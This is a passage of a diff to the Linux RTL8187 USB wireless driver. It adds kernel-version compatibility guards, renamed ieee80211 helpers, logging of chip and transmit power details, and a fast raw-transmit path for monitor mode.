*)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->dma_poll_mask &= ~(1<dma_poll_mask); @@ -1105,14 +1156,19 @@ */ void rtl8180_hard_data_xmit(struct sk_buff *skb, struct net_device *dev, int rate) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - short morefrag = 0; + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + + short morefrag = 0; unsigned long flags; struct ieee80211_hdr *h = (struct ieee80211_hdr *) skb->data; - if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) - morefrag = 1; + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR || priv->ieee80211->raw_tx != 1) + { + if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) + { + morefrag = 1; + } + } // DMESG("%x %x", h->frame_ctl, h->seq_ctl); /* * This function doesn't require lock because we make @@ -1121,24 +1177,29 @@ * the ieee stack, or from the try_wake_queue (again trought * the ieee stack. */ - spin_lock_irqsave(&priv->tx_lock,flags); - - //DMESG("TX"); - if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ - DMESG("Error: no TX slot "); - ieee80211_stop_queue(priv->ieee80211); - } - - rtl8180_tx(dev, (u32*)skb->data, skb->len, LOW_PRIORITY, morefrag, - ieeerate2rtlrate(rate)); - - priv->stats.txdatapkt++; - - if (!check_nic_enought_desc(dev, LOW_PRIORITY)) - ieee80211_stop_queue(priv->ieee80211); - - spin_unlock_irqrestore(&priv->tx_lock,flags); - + + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR || priv->fasttx == 0) + { + spin_lock_irqsave(&priv->tx_lock,flags); + //DMESG("TX"); + if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ + DMESG("Error: no TX slot "); + ieee80211_stop_queue_rtl7(priv->ieee80211); + } + rtl8180_tx(dev, (u32*)skb->data, skb->len, LOW_PRIORITY, morefrag, + ieeerate2rtlrate(rate)); + + priv->stats.txdatapkt++; + + if (!check_nic_enought_desc(dev, LOW_PRIORITY)) + ieee80211_stop_queue_rtl7(priv->ieee80211); + spin_unlock_irqrestore(&priv->tx_lock,flags); + } + else + { + rtl8180_tx_fast(dev, (u32*)skb->data, skb->len, ieeerate2rtlrate(rate)); + } + } #if 0 /* This is a rough attempt to TX a frame @@ -1148,12 +1209,12 @@ */ int rtl8180_hard_start_xmit(struct sk_buff *skb,struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); int ret; unsigned long flags; - + spin_lock_irqsave(&priv->tx_lock,flags); - + ret = rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, 0,DEFAULT_BASICRATE); /* int i; @@ -1163,9 +1224,9 @@ */ priv->ieee80211->stats.tx_bytes+=skb->len; priv->ieee80211->stats.tx_packets++; - - spin_unlock_irqrestore(&priv->tx_lock,flags); - + + spin_unlock_irqrestore(&priv->tx_lock,flags); + dev_kfree_skb_any(skb); return ret; } @@ -1178,7 +1239,7 @@ u16 duration; u16 drift; *ext=0; - + switch(rate){ case 0://1mbps *ext=0; @@ -1187,7 +1248,7 @@ if(drift ==0 ) break; duration++; break; - + case 1://2mbps *ext=0; duration = ((len+4)<<4) /0x4; @@ -1195,40 +1256,44 @@ if(drift ==0 ) break; duration++; break; - + case 2: //5.5mbps *ext=0; duration = ((len+4)<<4) /0xb; drift = ((len+4)<<4) % 0xb; - if(drift ==0 ) + if(drift ==0 ) break; duration++; break; - + default: - case 3://11mbps + case 3://11mbps *ext=0; duration = ((len+4)<<4) /0x16; drift = ((len+4)<<4) % 0x16; - if(drift ==0 ) + if(drift ==0 ) break; duration++; - if(drift > 6) + if(drift > 6) break; *ext=1; break; } - + return duration; } #endif void rtl8180_try_wake_queue(struct net_device *dev, int pri); +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) void rtl8187_lptx_isr(struct urb *tx_urb, struct pt_regs *regs) +#else +void rtl8187_lptx_isr(struct urb *tx_urb) +#endif { struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(tx_urb->status == 0) priv->stats.txlpokint++; else @@ -1239,6 +1304,15 @@ rtl8180_try_wake_queue(dev,LOW_PRIORITY); } +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +void rtl8187_lptx_isr_fast(struct urb *tx_urb, struct pt_regs *regs) +#else +void rtl8187_lptx_isr_fast(struct urb *tx_urb) +#endif +{ + kfree(tx_urb->transfer_buffer); + usb_free_urb(tx_urb); +} void rtl8187_beacon_stop(struct net_device *dev) { @@ -1249,55 +1323,55 @@ if ((msrm == (MSR_LINK_ADHOC<ieee80211->current_network; - - + + write_nic_dword(dev,BSSID,((u32*)net->bssid)[0]); write_nic_word(dev,BSSID+4,((u16*)net->bssid)[2]); //for(i=0;ibssid[i]); rtl8180_update_msr(dev); - + // rtl8180_set_mode(dev,EPROM_CMD_CONFIG); write_nic_word(dev, AtimWnd, 2); - write_nic_word(dev, AtimtrItv, 100); + write_nic_word(dev, AtimtrItv, 100); write_nic_word(dev, BEACON_INTERVAL, net->beacon_interval); write_nic_word(dev, BcnIntTime, 100); - + } void rtl8187_beacon_tx(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); struct sk_buff *skb; int i = 0; - + rtl8187_net_update(dev); - - skb = ieee80211_get_beacon(priv->ieee80211); - - - if(!skb){ + + skb = ieee80211_get_beacon_rtl7(priv->ieee80211); + + + if(!skb){ DMESG("not enought memory for allocating beacon"); return; } - -#if 0 + +#if 0 while(MAX_TX_URB!=atomic_read(&priv->tx_np_pending)){ msleep_interruptible_rtl(HZ/2); if(i++ > 20){ @@ -1307,7 +1381,7 @@ } #endif write_nic_byte(dev, BQREQ, read_nic_byte(dev, BQREQ) | (1<<7)); - + i=0; //while(!read_nic_byte(dev,BQREQ & (1<<7))) while( (read_nic_byte(dev, BQREQ) & (1<<7)) == 0 ) @@ -1318,16 +1392,20 @@ return ; } } - + rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, 0, priv->ieee80211->basic_rate); - + } +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) void rtl8187_nptx_isr(struct urb *tx_urb, struct pt_regs *regs) +#else +void rtl8187_nptx_isr(struct urb *tx_urb) +#endif { struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(tx_urb->status == 0) priv->stats.txnpokint++; else @@ -1339,10 +1417,10 @@ } -/* This function do the real dirty work: it sends a TX command - * descriptor plus data URB +/* This function do the real dirty work: it sends a TX command + * descriptor plus data URB */ - + short rtl8180_tx(struct net_device *dev, u32* txbuf, int len, priority_t priority, short morefrag, short rate) { @@ -1352,12 +1430,12 @@ int pend ; int status; struct urb *tx_urb; - int urb_len; - struct r8180_priv *priv = ieee80211_priv(dev); + int urb_len; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); // int rate = ieeerate2rtlrate(priv->ieee80211->rate); - pend = atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); - /* we are locked here so the two atomic_read and inc are executed without interleaves */ + pend = atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); + /* we are locked here so the two atomic_read and inc are executed without interleaves */ if( pend > MAX_TX_URB){ if(priority == NORM_PRIORITY) priv->stats.txnpdrop++; @@ -1365,52 +1443,38 @@ priv->stats.txlpdrop++; return -1; } - - + //tx = kmalloc((len + 4*3), GFP_ATOMIC); urb_len = len + 4*3; if((0 == urb_len%64)||(0 == urb_len%512)) { - urb_len += 1; + urb_len += 1; } tx = kmalloc(urb_len, GFP_ATOMIC); if(!tx) return -ENOMEM; - //printk(KERN_WARNING "urb_len = %d\n", urb_len); + //printk(KERN_WARNING "urb_len = %d\n", urb_len); tx_urb = usb_alloc_urb(0,GFP_ATOMIC); - + if(!tx_urb){ - + kfree(tx); return -ENOMEM; } - + memcpy(tx+3,txbuf,len); tx[0] = 0; tx[0] |= len & 0xfff; tx[0] |= (1<<15); - -// if(priv->shortpre) -// tx[0] |= (1<<16); - - //if(len > priv->rts_threshold){ -// tx[0] |= (1<<23); //ENABLE RTS -// tx[0] |= (1<<18); //ENABLE CTS - //} + if(morefrag) tx[0] |= (1<<17); tx[0] |= (ieeerate2rtlrate(priv->ieee80211->basic_rate) << 19); /* RTS RATE - should be basic rate */ tx[0] |= (rate << 24); tx[1] = 0; - -// duration = rtl8180_len2duration(len, -// rate,&ext); -// tx[1] |= (duration & 0x7fff) <<16; -// if(ext) tx[1] |= (1<<31); - // tx[2] = 0x303020; tx[2] = 3; // CW min tx[2] |= (7<<4); //CW max tx[2] |= (11<<8);//(priv->retry_data<<8); //retry lim - + // printk("%x\n%x\n",tx[0],tx[1]); #ifdef DUMP_TX @@ -1421,7 +1485,7 @@ printk("---------------\n"); #endif - + /* FIXME check what EP is for low/norm PRI */ usb_fill_bulk_urb(tx_urb,priv->udev, usb_sndbulkpipe(priv->udev,(priority == LOW_PRIORITY) ? 2:3), tx, @@ -1438,54 +1502,97 @@ } } - +/* This function do the real dirty work: it sends a TX command + * descriptor plus data URB (fast) + */ + +short rtl8180_tx_fast(struct net_device *dev, u32* txbuf, int len, short rate) +{ + u32 *tx; + int status; + struct urb *tx_urb; + int urb_len; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + urb_len = len + 4*3; + if((0 == urb_len%64)||(0 == urb_len%512)) { + urb_len += 1; + } + tx = kmalloc(urb_len, GFP_ATOMIC); + if(!tx) return -ENOMEM; + + tx_urb = usb_alloc_urb(0,GFP_ATOMIC); + + if(!tx_urb){ + kfree(tx); + return -ENOMEM; + } + + memcpy(tx+3,txbuf,len); + tx[0] = (len & 0xfff) + 0x8000; + tx[0] |= (ieeerate2rtlrate(priv->ieee80211->basic_rate) << 19); /* RTS RATE - should be basic rate */ + tx[0] |= (rate << 24); + tx[1] = 0; + tx[2] = 2931; + + /* FIXME check what EP is for low/norm PRI */ + usb_fill_bulk_urb(tx_urb,priv->udev, + usb_sndbulkpipe(priv->udev, 2), tx, urb_len, rtl8187_lptx_isr_fast, dev); + status = usb_submit_urb(tx_urb, GFP_ATOMIC); + if (!status){ + return 0; + }else{ + return -1; + } +} + void rtl8180_irq_rx_tasklet(struct r8180_priv * priv); short rtl8187_usb_initendpoints(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; - + priv->rx_urb = (struct urb**) kmalloc (sizeof(struct urb*) * MAX_RX_URB, GFP_KERNEL); - + for(i=0;irx_urb[i] = usb_alloc_urb(0,GFP_KERNEL); - if(!priv->rx_urb[i]) + if(!priv->rx_urb[i]) goto destroy; - + priv->rx_urb[i]->transfer_buffer = kmalloc(RX_URB_SIZE, GFP_KERNEL); - if(!priv->rx_urb[i]->transfer_buffer) + if(!priv->rx_urb[i]->transfer_buffer) goto destroy1; - + priv->rx_urb[i]->transfer_buffer_length = RX_URB_SIZE; } - + return 0; - + destroy1: usb_free_urb(priv->rx_urb[i]); - + destroy: while (--i >= 0){ kfree(priv->rx_urb[i]->transfer_buffer); usb_free_urb(priv->rx_urb[i]); } - + kfree(priv->rx_urb); - + priv->rx_urb = NULL; DMESGE("Endpoint Alloc Failure"); return -ENOMEM; - + } void rtl8187_usb_deleteendpoints(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; - + if(priv->rx_urb){ for(i=0;irx_urb[i]); @@ -1494,9 +1601,9 @@ } kfree(priv->rx_urb); priv->rx_urb = NULL; - + } - + } @@ -1505,16 +1612,16 @@ int i; u16 word; int basic_rate,min_rr_rate,max_rr_rate; - -// struct r8180_priv *priv = ieee80211_priv(dev); - - //if (ieee80211_is_54g(priv->ieee80211->current_network) && + +// struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + //if (ieee80211_is_54g_rtl7(priv->ieee80211->current_network) && // priv->ieee80211->state == IEEE80211_LINKED){ basic_rate = ieeerate2rtlrate(240); min_rr_rate = ieeerate2rtlrate(60); max_rr_rate = ieeerate2rtlrate(240); - -// + +// // }else{ // basic_rate = ieeerate2rtlrate(20); // min_rr_rate = ieeerate2rtlrate(10); @@ -1526,21 +1633,21 @@ word = read_nic_word(dev, BRSR); word &= ~BRSR_MBR_8185; - + for(i=0;i<=basic_rate;i++) word |= (1<beacon_interval); rtl8187_net_update(dev); /*update timing params*/ @@ -1553,24 +1660,24 @@ short rtl8180_init(struct net_device *dev) { - - struct r8180_priv *priv = ieee80211_priv(dev); + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i, j; u16 word; - int ch; + int ch, chans; //u16 version; - //u8 hw_version; - //u8 config3; - + u8 hw_version; + u8 config3; + //FIXME: these constants are placed in a bad pleace. // priv->txbuffsize = 1024; // priv->txringcount = 32; // priv->rxbuffersize = 1024; -// priv->rxringcount = 32; +// priv->rxringcount = 32; // priv->txbeaconcount = 3; // priv->rx_skb_complete = 1; - //priv->txnp_pending.ispending=0; + //priv->txnp_pending.ispending=0; /* ^^ the SKB does not containt a partial RXed * packet (is empty) */ @@ -1580,15 +1687,24 @@ return -1; } ch=channels; + chans=0; + for (i=1; i<=14; i++) { + if( (u8)(ch & 0x01) ) chans++; + ch >>= 1; + } + DMESG("Enabling %d channels.", chans); + ch=channels; // set channels 1..14 allowed in given locale for (i=1; i<=14; i++) { (priv->ieee80211->channel_map)[i] = (u8)(ch & 0x01); ch >>= 1; } //memcpy(priv->stats,0,sizeof(struct Stats)); - + //priv->irq_enabled=0; - + + priv->dev = dev; + // priv->stats.rxdmafail=0; priv->stats.txrdu=0; // priv->stats.rxrdu=0; @@ -1612,33 +1728,37 @@ // priv->stats.txbeaconerr=0; priv->stats.txlperr=0; priv->stats.txlpokint=0; - + priv->ieee80211->iw_mode = IW_MODE_INFRA; - + priv->retry_rts = DEFAULT_RETRY_RTS; priv->retry_data = DEFAULT_RETRY_DATA; priv->ieee80211->rate = 110; //11 mbps priv->ieee80211->short_slot = 1; - priv->ieee80211->mode = IEEE_G; + priv->ieee80211->mode = IEEE_G|IEEE_B; priv->promisc = (dev->flags & IFF_PROMISC) ? 1:0; spin_lock_init(&priv->tx_lock); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) INIT_WORK(&priv->reset_wq,(void(*)(void*)) rtl8180_restart,dev); +#else + INIT_WORK(&priv->reset_wq, rtl8180_restart); +#endif sema_init(&priv->wx_sem,1); tasklet_init(&priv->irq_rx_tasklet, (void(*)(unsigned long))rtl8180_irq_rx_tasklet, (unsigned long)priv); - //priv->ieee80211->func = + //priv->ieee80211->func = // kmalloc(sizeof(struct ieee80211_helper_functions),GFP_KERNEL); //memset(priv->ieee80211->func, 0, // sizeof(struct ieee80211_helper_functions)); - priv->ieee80211->current_network.beacon_interval = DEFAULT_BEACONINTERVAL; + priv->ieee80211->current_network.beacon_interval = DEFAULT_BEACONINTERVAL; priv->ieee80211->iw_mode = IW_MODE_INFRA; - priv->ieee80211->softmac_features = IEEE_SOFTMAC_SCAN | - IEEE_SOFTMAC_ASSOCIATE | IEEE_SOFTMAC_PROBERQ | + priv->ieee80211->softmac_features = IEEE_SOFTMAC_SCAN | + IEEE_SOFTMAC_ASSOCIATE | IEEE_SOFTMAC_PROBERQ | IEEE_SOFTMAC_PROBERS | IEEE_SOFTMAC_TX_QUEUE | /*IEEE_SOFTMAC_BEACONS | */IEEE_SOFTMAC_SINGLE_QUEUE; - + priv->ieee80211->active_scan = 1; priv->ieee80211->rate = 110; //11 mbps priv->ieee80211->modulation = IEEE80211_CCK_MODULATION | IEEE80211_OFDM_MODULATION; @@ -1655,51 +1775,51 @@ priv->ieee80211->data_hard_resume = rtl8180_data_hard_resume; //priv->ieee80211->start_send_beacons = NULL; //priv->ieee80211->stop_send_beacons = NULL; - + priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD; - + priv->card_8185 = 2; priv->phy_ver = 2; priv->card_type = USB; - + #if 0 hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; - + switch (hw_version){ case HW_VERID_R8185_ABC: - DMESG("MAC controller is a RTL8185 b/g"); + DMESG("MAC controller is a RTL8185 b/g"); priv->card_8185 = 1; /* you should not find a card with 8225 PHY ver < C*/ priv->phy_ver = 2; break; - + case HW_VERID_R8185_D: - DMESG("MAC controller is a RTL8185 b/g (V. D)"); + DMESG("MAC controller is a RTL8185 b/g (V. D)"); priv->card_8185 = 2; /* you should not find a card with 8225 PHY ver < C*/ priv->phy_ver = 2; break; - + case HW_VERID_R8180_ABCD: DMESG("MAC controller is a RTL8180"); priv->card_8185 = 0; break; - + case HW_VERID_R8180_F: DMESG("MAC controller is a RTL8180 (v. F)"); priv->card_8185 = 0; break; - + default: DMESGW("MAC chip not recognized: version %x. Assuming RTL8180",hw_version); priv->card_8185 = 0; break; } - - + + /* you should not found any 8185 Ver B Card */ priv->card_8185_Bversion = 0; - + config3 = read_nic_byte(dev, CONFIG3); if(config3 & 0x8){ priv->card_type = CARDBUS; @@ -1715,13 +1835,19 @@ #endif priv->enable_gpio0 = 0; - + + hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; + config3 = read_nic_byte(dev, CONFIG3); + + DMESG("MAC chip version: %02X", hw_version); + DMESG("Card type: %02X", config3); + /* commented out just because we already do this when resetting the card andrea 20050924 */ #if 0 - + u8 txcr, txreg50; u32 txreg54, txreg60; @@ -1757,8 +1883,8 @@ // DMESG("<>", txcr); #endif - - /*the eeprom type is stored in RCR register bit #6 */ + + /*the eeprom type is stored in RCR register bit #6 */ if (RCR_9356SEL & read_nic_dword(dev, RCR)){ priv->epromtype=EPROM_93c56; DMESG("Reported EEPROM chip is a 93c56 (2Kbit)"); @@ -1766,58 +1892,73 @@ priv->epromtype=EPROM_93c46; DMESG("Reported EEPROM chip is a 93c46 (1Kbit)"); } - + dev->get_stats = rtl8180_stats; - + dev->dev_addr[0]=eprom_read(dev,MAC_ADR) & 0xff; dev->dev_addr[1]=(eprom_read(dev,MAC_ADR) & 0xff00)>>8; dev->dev_addr[2]=eprom_read(dev,MAC_ADR+1) & 0xff; dev->dev_addr[3]=(eprom_read(dev,MAC_ADR+1) & 0xff00)>>8; dev->dev_addr[4]=eprom_read(dev,MAC_ADR+2) & 0xff; dev->dev_addr[5]=(eprom_read(dev,MAC_ADR+2) & 0xff00)>>8; - + DMESG("Card MAC address is "MAC_FMT, MAC_ARG(dev->dev_addr)); - + for(i=1,j=0; i<6; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW0 + j); priv->chtxpwr[i]=word & 0xf; priv->chtxpwr_ofdm[i]=(word & 0xf0)>>4; priv->chtxpwr[i+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+1]=(word & 0xf000)>>12; } - + for(i=1,j=0; i<4; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW1 + j); priv->chtxpwr[i+6]=word & 0xf; priv->chtxpwr_ofdm[i+6]=(word & 0xf0)>>4; priv->chtxpwr[i+6+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+6+1]=(word & 0xf000)>>12; } - + for(i=1,j=0; i<4; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW2 + j); priv->chtxpwr[i+6+4]=word & 0xf; priv->chtxpwr_ofdm[i+6+4]=(word & 0xf0)>>4; priv->chtxpwr[i+6+4+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+6+4+1]=(word & 0xf000)>>12; } - - + + priv->rf_chip = 0xff & eprom_read(dev,EPROM_RFCHIPID); - + +#ifdef DEBUG_TX_POWER + dump_tx_power(dev); +#endif + + DMESG("RF Chip ID: %02X", priv->rf_chip); + word = eprom_read(dev,EPROM_TXPW_BASE); priv->cck_txpwr_base = word & 0xf; priv->ofdm_txpwr_base = (word>>4) & 0xf; - + + priv->txpwr_max = 0; + for(i=1; i<15; i++) + { + if(priv->chtxpwr[i] > priv->txpwr_max) priv->txpwr_max = priv->chtxpwr[i]; + if(priv->chtxpwr_ofdm[i] > priv->txpwr_max) priv->txpwr_max = priv->chtxpwr_ofdm[i]; + priv->chtxpwr_orig[i] = priv->chtxpwr[i]; + priv->chtxpwr_ofdm_orig[i] = priv->chtxpwr_ofdm[i]; + } + /* check RF frontend chipset */ - + switch (priv->rf_chip) { - + case EPROM_RFCHIPID_RTL8225U: - + DMESG("Card reports RF frontend Realtek 8225"); DMESGW("This driver has EXPERIMENTAL support for this chipset."); DMESGW("use it with care and at your own risk and"); @@ -1834,28 +1975,28 @@ DMESG("This seems a legacy 1st version radio"); } priv->rf_close = rtl8225_rf_close; - + priv->max_sens = RTL8225_RF_MAX_SENS; priv->sens = RTL8225_RF_DEF_SENS; break; - + default: DMESGW("Unknown RF module %x",priv->rf_chip); DMESGW("Exiting..."); return -1; - + } - + // DMESG("Energy threshold: %x",priv->cs_treshold); DMESG("PAPE from CONFIG2: %x",read_nic_byte(dev,CONFIG2)&0x7); //DMESG("CONFIG2: %x ECONFIG2: %x",read_nic_byte(dev,CONFIG2),eprom_read(dev,EPROM_CONFIG2)); - - if(rtl8187_usb_initendpoints(dev)!=0){ + + if(rtl8187_usb_initendpoints(dev)!=0){ DMESG("Endopoints initialization failed"); return -ENOMEM; } -#if 0 - if (0!=alloc_rx_desc_ring(dev, priv->rxbuffersize, priv->rxringcount)) +#if 0 + if (0!=alloc_rx_desc_ring(dev, priv->rxbuffersize, priv->rxringcount)) return -ENOMEM; if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, @@ -1869,16 +2010,16 @@ if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, TX_LOWPRIORITY_RING_ADDR)) return -ENOMEM; - - + + if (0!=alloc_tx_beacon_desc_ring(dev, priv->txbeaconcount)) return -ENOMEM; #endif - + #ifdef DEBUG_EPROM dump_eprom(dev); -#endif +#endif return 0; } @@ -1898,7 +2039,7 @@ rtl8180_set_mode(dev, EPROM_CMD_CONFIG); conf3 = read_nic_byte(dev, CONFIG3); - write_nic_byte(dev, CONFIG3, conf3 | (1<> 24)); write_nic_byte(dev, 0x7e, ((phyw & 0x00ff0000) >> 16)); write_nic_byte(dev, 0x7d, ((phyw & 0x0000ff00) >> 8)); write_nic_byte(dev, 0x7c, ((phyw & 0x000000ff) )); //read_nic_dword(dev, PHY_ADR); -#if 0 +#if 0 for(i=0;i<10;i++){ write_nic_dword(dev, PHY_ADR, 0xffffff7f & phyw); phyr = read_nic_byte(dev, PHY_READ); if(phyr == (data&0xff)) break; - + } #endif /* this is ok to fail when we write AGC table. check for AGC table might be @@ -1988,60 +2129,60 @@ void rtl8180_adapter_start(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); //u32 anaparam; //u8 config3; - + //rtl8180_rtx_disable(dev); rtl8180_reset(dev); write_nic_byte(dev,0x85,0); write_nic_byte(dev,0x91,0); - + /* light blink! */ write_nic_byte(dev,0x85,4); write_nic_byte(dev,0x91,1); write_nic_byte(dev,0x90,0); - + priv->irq_mask = 0xffff; /* priv->dma_poll_mask = 0; priv->dma_poll_mask|= (1<dev_addr)[0]); write_nic_word(dev, MAC4, ((u32*)dev->dev_addr)[1] & 0xffff ); rtl8180_set_mode(dev, EPROM_CMD_NORMAL); rtl8180_update_msr(dev); - + rtl8180_set_mode(dev, EPROM_CMD_CONFIG); - + write_nic_word(dev,0xf4,0xffff); write_nic_byte(dev, - CONFIG1, (read_nic_byte(dev,CONFIG1) & 0x3f) | 0x80); + CONFIG1, (read_nic_byte(dev,CONFIG1) & 0x3f) | 0x80); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); - - write_nic_dword(dev,INT_TIMEOUT,0); + + write_nic_dword(dev,INT_TIMEOUT,0); #ifdef DEBUG_REGISTERS - rtl8180_dump_reg(dev); + rtl8180_dump_reg(dev); #endif - - - write_nic_byte(dev, WPA_CONFIG, 0); + + + write_nic_byte(dev, WPA_CONFIG, 0); write_nic_byte(dev, RATE_FALLBACK, 0x81); rtl8187_set_rate(dev); - - priv->rf_init(dev); + + priv->rf_init(dev); if(priv->rf_set_sens != NULL) - priv->rf_set_sens(dev,priv->sens); - + priv->rf_set_sens(dev,priv->sens); + write_nic_word(dev,0x5e,1); #if 1 @@ -2054,13 +2195,13 @@ write_nic_byte(dev, 0xff, 0x60); write_nic_word(dev,0x5e,0); - - + + rtl8180_irq_enable(dev); /*DMESG ("lfree %d",get_curr_tx_free_desc(dev,LOW_PRIORITY)); - + DMESG ("nfree %d",get_curr_tx_free_desc(dev,NORM_PRIORITY)); - + DMESG ("hfree %d",get_curr_tx_free_desc(dev,HI_PRIORITY)); if(check_nic_enought_desc(dev,NORM_PRIORITY)) DMESG("NORM OK"); if(check_nic_enought_desc(dev,HI_PRIORITY)) DMESG("HI OK"); @@ -2077,8 +2218,8 @@ void rtl8180_start_tx_beacon(struct net_device *dev) { int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - u16 word; + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + u16 word; DMESG("Enabling beacon TX"); //write_nic_byte(dev, 0x42,0xe6);// TCR //rtl8180_init_beacon(dev); @@ -2091,41 +2232,41 @@ //write_nic_word(dev,0x7a,0); //write_nic_word(dev,0x7a,0x8000); - + word = read_nic_word(dev, BcnItv); word &= ~BcnItv_BcnItv; // clear Bcn_Itv write_nic_word(dev, BcnItv, word); - write_nic_word(dev, AtimWnd, + write_nic_word(dev, AtimWnd, read_nic_word(dev, AtimWnd) &~ AtimWnd_AtimWnd); - + word = read_nic_word(dev, BintrItv); word &= ~BintrItv_BintrItv; - - //word |= priv->ieee80211->beacon_interval * + + //word |= priv->ieee80211->beacon_interval * // ((priv->txbeaconcount > 1)?(priv->txbeaconcount-1):1); // FIXME:FIXME check if correct ^^ worked with 0x3e8; - + write_nic_word(dev, BintrItv, word); - + //write_nic_word(dev,0x2e,0xe002); //write_nic_dword(dev,0x30,0xb8c7832e); for(i=0; iieee80211->beacon_cell_ssid[i]); - + // rtl8180_update_msr(dev); - + //write_nic_byte(dev,CONFIG4,3); /* !!!!!!!!!! */ - + rtl8180_set_mode(dev, EPROM_CMD_NORMAL); - + rtl8180_irq_enable(dev); - + /* VV !!!!!!!!!! VV*/ /* rtl8180_set_mode(dev,EPROM_CMD_CONFIG); - write_nic_byte(dev,0x9d,0x00); + write_nic_byte(dev,0x9d,0x00); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); */ } @@ -2135,137 +2276,138 @@ ***************************************************************************/ static struct net_device_stats *rtl8180_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return &priv->ieee80211->stats; } int _rtl8180_up(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); priv->up=1; - - //DMESG("Bringing up iface"); + +// DMESG("Bringing up iface"); rtl8180_adapter_start(dev); - rtl8180_rx_enable(dev); - rtl8180_tx_enable(dev); - - ieee80211_softmac_start_protocol(priv->ieee80211); - - ieee80211_reset_queue(priv->ieee80211); + ieee80211_softmac_start_protocol_rtl7(priv->ieee80211); + ieee80211_reset_queue_rtl7(priv->ieee80211); if(!netif_queue_stopped(dev)) netif_start_queue(dev); else netif_wake_queue(dev); - return 0; } int rtl8180_open(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); + ret = rtl8180_up(dev); up(&priv->wx_sem); return ret; - + } int rtl8180_up(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 1) return -1; - + return _rtl8180_up(dev); } int rtl8180_close(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - + ret = rtl8180_down(dev); - + up(&priv->wx_sem); - + return ret; } int rtl8180_down(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 0) return -1; - + priv->up=0; /* FIXME */ if (!netif_queue_stopped(dev)) netif_stop_queue(dev); - + rtl8180_rtx_disable(dev); rtl8180_irq_disable(dev); - ieee80211_softmac_stop_protocol(priv->ieee80211); - + ieee80211_softmac_stop_protocol_rtl7(priv->ieee80211); + return 0; } void rtl8180_commit(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 0) return ; - - ieee80211_softmac_stop_protocol(priv->ieee80211); - + + ieee80211_softmac_stop_protocol_rtl7(priv->ieee80211); + rtl8180_irq_disable(dev); rtl8180_rtx_disable(dev); _rtl8180_up(dev); } +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_restart(struct work_struct *work) +{ + struct r8180_priv *priv = container_of(work, struct r8180_priv, 